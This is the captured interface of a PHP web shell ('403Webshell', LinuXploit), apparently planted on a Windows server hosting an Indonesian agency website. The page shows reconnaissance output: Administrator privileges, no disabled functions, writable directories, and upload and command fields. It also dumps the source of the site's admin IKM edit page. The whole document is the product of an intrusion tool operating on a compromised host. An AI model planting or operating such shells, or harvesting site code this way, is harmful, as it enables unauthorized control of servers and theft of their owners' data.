403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /laragon4/www/bpkd.test_/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /laragon4/www/bpkd.test_/admin//ikm_edit.php
<?php
/**
 * File: admin/ikm_edit.php
 * Halaman Edit IKM
 */

require_once 'config/database.php';
require_once 'includes/init.php';

requireLogin();

$id = isset($_GET['id']) ? (int)$_GET['id'] : 0;
if ($id <= 0) {
    header("Location: ikm.php");
    exit;
}

// Ambil data
$result = $conn->query("SELECT * FROM ikm WHERE id = $id");
if (!$result || $result->num_rows == 0) {
    header("Location: ikm.php");
    exit;
}
$ikm = $result->fetch_assoc();

$page_title = 'Edit IKM - ' . ($settings['site_title'] ?? 'Website Instansi');
$error = '';

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $tahun = (int)$_POST['tahun'];
    $judul = sanitize($_POST['judul']);
    $deskripsi = sanitize($_POST['deskripsi']);
    $indeks = !empty($_POST['indeks']) ? (float)$_POST['indeks'] : null;
    $predikat = isset($_POST['predikat']) ? sanitize($_POST['predikat']) : '';
    $status = sanitize($_POST['status']);
    
    // Upload file PDF baru jika ada
    $file_pdf = $ikm['file_pdf'];
    if (isset($_FILES['file_pdf']) && $_FILES['file_pdf']['error'] == 0 && !empty($_FILES['file_pdf']['name'])) {
        $target_dir = "../uploads/ikm/";
        $file_extension = strtolower(pathinfo($_FILES['file_pdf']['name'], PATHINFO_EXTENSION));
        
        if ($file_extension != 'pdf') {
            $error = "File harus berformat PDF";
        } elseif ($_FILES['file_pdf']['size'] > 5000000) {
            $error = "Ukuran file maksimal 5MB";
        } else {
            $file_name = 'ikm_' . $tahun . '_' . time() . '.pdf';
            $target_file = $target_dir . $file_name;
            
            if (move_uploaded_file($_FILES['file_pdf']['tmp_name'], $target_file)) {
                // Hapus file lama
                if (!empty($ikm['file_pdf']) && file_exists($target_dir . $ikm['file_pdf'])) {
                    unlink($target_dir . $ikm['file_pdf']);
                }
                $file_pdf = $file_name;
            } else {
                $error = "Gagal mengupload file";
            }
        }
    }
    
    // Update database
    if (empty($error)) {
        $query = "UPDATE ikm SET tahun = ?, judul = ?, deskripsi = ?, file_pdf = ?, indeks = ?, predikat = ?, status = ? WHERE id = ?";
        $stmt = $conn->prepare($query);
        $stmt->bind_param("isssdssi", $tahun, $judul, $deskripsi, $file_pdf, $indeks, $predikat, $status, $id);
        
        if ($stmt->execute()) {
            header("Location: ikm.php?msg=updated");
            exit;
        } else {
            $error = "Error: " . $stmt->error;
        }
        $stmt->close();
    }
}

include 'includes/header.php';
?>

<style>
.form-container { max-width: 800px; margin: 0 auto; }
.form-group { margin-bottom: 20px; }
.form-group label { font-weight: 600; margin-bottom: 8px; display: block; }
.form-control { width: 100%; padding: 10px 15px; border: 1px solid #e2e8f0; border-radius: 10px; }
.current-file { background: #f1f5f9; padding: 10px; border-radius: 8px; margin-top: 5px; }
.current-file a { color: #3b82f6; text-decoration: none; }
.btn-submit { background: #3b82f6; color: white; padding: 12px 30px; border: none; border-radius: 10px; cursor: pointer; }
.btn-back { background: #e2e8f0; color: #475569; padding: 12px 30px; border: none; border-radius: 10px; text-decoration: none; margin-left: 10px; }
</style>

<div class="container-fluid">
    <div class="d-sm-flex align-items-center justify-content-between mb-4">
        <h1 class="h3 mb-0 text-gray-800">
            <i class="fas fa-edit me-2"></i> Edit IKM
        </h1>
        <a href="ikm.php" class="btn btn-secondary">
            <i class="fas fa-arrow-left me-2"></i> Kembali
        </a>
    </div>

    <?php if (!empty($error)): ?>
        <div class="alert alert-danger"><?php echo $error; ?></div>
    <?php endif; ?>

    <div class="form-container">
        <form method="POST" enctype="multipart/form-data">
            <div class="form-group">
                <label>Tahun <span class="text-danger">*</span></label>
                <select name="tahun" class="form-control" required>
                    <?php for($y = date('Y'); $y >= 2020; $y--): ?>
                        <option value="<?php echo $y; ?>" <?php echo $ikm['tahun'] == $y ? 'selected' : ''; ?>><?php echo $y; ?></option>
                    <?php endfor; ?>
                </select>
            </div>
            
            <div class="form-group">
                <label>Judul <span class="text-danger">*</span></label>
                <input type="text" name="judul" class="form-control" value="<?php echo htmlspecialchars($ikm['judul']); ?>" required>
            </div>
            
            <div class="form-group">
                <label>Deskripsi</label>
                <textarea name="deskripsi" class="form-control"><?php echo htmlspecialchars($ikm['deskripsi']); ?></textarea>
            </div>
            
            <div class="form-group">
                <label>File PDF</label>
                <input type="file" name="file_pdf" class="form-control" accept=".pdf">
                <div class="current-file">
                    <i class="fas fa-file-pdf text-danger"></i> File saat ini: 
                    <a href="../uploads/ikm/<?php echo $ikm['file_pdf']; ?>" target="_blank"><?php echo $ikm['file_pdf']; ?></a>
                    <small class="text-muted d-block">Kosongkan jika tidak ingin mengubah file</small>
                </div>
            </div>
            
            <div class="row">
                <div class="col-md-6">
                    <div class="form-group">
                        <label>Indeks (0-100)</label>
                        <input type="number" name="indeks" class="form-control" step="0.01" min="0" max="100" value="<?php echo $ikm['indeks']; ?>">
                    </div>
                </div>
                <div class="col-md-6">
                    <div class="form-group">
                        <label>Predikat</label>
                        <select name="predikat" class="form-control">
                            <option value="">Pilih Predikat</option>
                            <option value="Sangat Baik" <?php echo $ikm['predikat'] == 'Sangat Baik' ? 'selected' : ''; ?>>Sangat Baik (81-100)</option>
                            <option value="Baik" <?php echo $ikm['predikat'] == 'Baik' ? 'selected' : ''; ?>>Baik (61-80)</option>
                            <option value="Cukup Baik" <?php echo $ikm['predikat'] == 'Cukup Baik' ? 'selected' : ''; ?>>Cukup Baik (41-60)</option>
                            <option value="Kurang Baik" <?php echo $ikm['predikat'] == 'Kurang Baik' ? 'selected' : ''; ?>>Kurang Baik (21-40)</option>
                            <option value="Tidak Baik" <?php echo $ikm['predikat'] == 'Tidak Baik' ? 'selected' : ''; ?>>Tidak Baik (0-20)</option>
                        </select>
                    </div>
                </div>
            </div>
            
            <div class="form-group">
                <label>Status</label>
                <select name="status" class="form-control">
                    <option value="draft" <?php echo $ikm['status'] == 'draft' ? 'selected' : ''; ?>>Draft</option>
                    <option value="publish" <?php echo $ikm['status'] == 'publish' ? 'selected' : ''; ?>>Publish</option>
                </select>
            </div>
            
            <div class="form-group">
                <button type="submit" class="btn-submit"><i class="fas fa-save me-2"></i> Update</button>
                <a href="ikm.php" class="btn-back"><i class="fas fa-times me-2"></i> Batal</a>
            </div>
        </form>
    </div>
</div>

<?php require_once 'includes/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit